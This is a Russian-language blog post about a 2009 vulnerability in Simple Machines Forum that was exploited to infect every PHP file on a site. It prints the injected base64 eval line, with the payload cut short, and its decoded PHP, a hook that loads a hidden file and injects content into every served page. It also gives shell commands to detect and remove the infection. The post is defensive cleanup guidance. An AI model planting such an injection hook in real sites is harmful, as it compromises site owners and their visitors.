Устраняем последствия

В последнее время участились сообщения о взломах форумов, работающих на SMF (Simple Machines Forum), среди пострадавших оказался и форум русского сообщества Ubuntu. Но в чем именно проблема и чего бояться непонятно, информации было крайне мало.

Сегодня появилась дополнительная информация. Данной уязвимости подвержены все версии форума, включая последнюю стабильную версию 1.1.8. Уязвимость существует в функции масштабирования аватаров.

Дополнительная информация здесь.

Проявляется эта уязвимость следующим образом: во все PHP-файлы приписывается такая строка:

[-]
View Code PHP
<?php /**/eval(base64_decode('aWYoZnVuY3R(поскипано)9fQ==')); ?>

BASE64 декодируется в такой PHP-код (я отформатировал код, чтобы сделать его читаемым):

[-]
View Code PHP
<?php
if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){
    $GLOBALS['sh_no']=1;
    if(file_exists('.../style.css.php')){
        include_once('.../style.css.php');
        if(function_exists('gml')&&!function_exists('dgobh')){
            if(!function_exists('gzdecode')){
                function gzdecode($d){
                    $f=ord(substr($d,3,1));
                    $h=10;
                    $e=0;
                    if($f&4){
                        $e=unpack('v',substr($d,10,2));
                        $e=$e[1];
                        $h+=2+$e;
                    }
                    if($f&8){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&16){
                        $h=strpos($d,chr(0),$h)+1;
                    }
                    if($f&2){
                        $h+=2;
                    }
                    $u=gzinflate(substr($d,$h));
                    if($u===FALSE){
                        $u=$d;
                    }
                    return $u;
                }
            }
            function dgobh($b){
                Header('Content-Encoding: none');
                $c=gzdecode($b);
                if(preg_match('/\<body/si',$c)){
                    return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$c);
                }
                else{
                    return gml().$c;
                }
            }
            ob_start('dgobh');
        }
    }
}
?>

“Заражаются” все PHP-файлы, до которых “вирус” смог добраться: если у Вас на сайте живёт не только форум, то Вам не повезло. Как вариант, можно восстановить все файлы из резервной копии. Но что делать, если резервной копии нет?

Есть два варианта.

  1. Отредактировать файлы вручную (желаю удачи, если заражено несколько сотен файлов).
  2. Написать скрипт, уничтожающий заразу на корню.

Первый вариант рассматривать не буду из-за его непрактичности, поэтому переходим сразу ко второму.

Сначала нужно определить источник заразы. Предположим, что один из зараженных файлов называется file.php. Тогда в командной строке нужно выполнить такую команду:

[-]
View Code Bash
head -n 1 file.php | sed s/eval/print/ | php

На выходе появится что-то вида

[-]
View Code Text
f(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/path/to/style.css.php'))

Вместо /path/to/style.css.php будет полный путь к файлу-источнику заразы. Его нужно удалить. Или, если не трудно, пришлите мне — интересно посмотреть, что же он творит (на машине, где я чистил файлы, вирус записался во временный каталог и был прибит кроном).

После этого приступаем к чистке файлов.

Внимание! Перед запуском скрипта создайте резервную копию Вашего сайта! Хотя скрипт и тестировался в боевых условиях, безопасность никто не отменял.

Допустим, что сайты живут в каталоге /var/www (если нет, укажите свой путь).

Выполняем в командной строке следующие команды:

[-]
View Code Bash
cd /var/www
grep -Rl "<?php /\\*\\*/eval(base64_decode('aWYoZn" * | xargs -I {} sh -c "echo {}; (rm '{}'; sed \"/<?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d\" > '{}') < '{}'"

Вторая команда работает следующим образом: grep -Rl "<?php /\\*\\*/eval(base64_decode('aWYoZn" * рекурствно обходит все каталоги и выводит имена файлов, содержащие сигнатуру . Для верности можно задать параметр -m 1 — тогда grep будет проверять только первую строку каждого файла (код располагается именно в первой строке).

Список найденных файлов передаётся xargs, который выполняет sh -c "echo {}; (rm '{}'; sed \"/<?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d\" > '{}') < '{}'". Не очень эффективно, но это связано с использованием перенаправления ввода-вывода.

sed "/<?php \\/\\*\\*\\/eval(base64_decode('aWYoZ/ d" удаляет код вируса из файла.

Конструкция (rm file; something > file) < file — это переносимый способ для редактирования файла "на месте" (данные читаются из файла, модифицируются и записываются обратно в тот же файл).

Вся конструкция ищет файлы, содержащие сигнатуру вируса, в текущем каталоге и всех его подкаталогах, и удаляет из файлов вирусный код.

Update: мне в голову пришел более простой вариант, но я его не проверял:

[-]
View Code Bash
grep -Rl -m 1 "<?php /\\*\\*/eval(base64_decode('aWYoZn" * | xargs -I {} sh -c "echo {}; (rm '{}'; tail -n +2 > '{}') < '{}'"
Добавить в закладки

Связанные записи

23
Май
2009

Комментарии к статье «Уязвимость в форуме SMF» (1)  »

  1. de-coder says:

    Почитал ваш блог и понял, что мне еще мягко говоря учиться и учиться. А за предупреждение спасибо, недавно хотел поставить себе smf.

Подписаться на RSS-ленту комментариев к статье «Уязвимость в форуме SMF» Trackback URL: http://blog.sjinks.org.ua/security/563-vulnerability-in-simple-machines-forum/trackback/

Оставить комментарий к записи «Уязвимость в форуме SMF»

Вы можете использовать данные тэги: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Оставляя комментарий, Вы выражаете своё согласие с Правилами комментирования.

Подписаться, не комментируя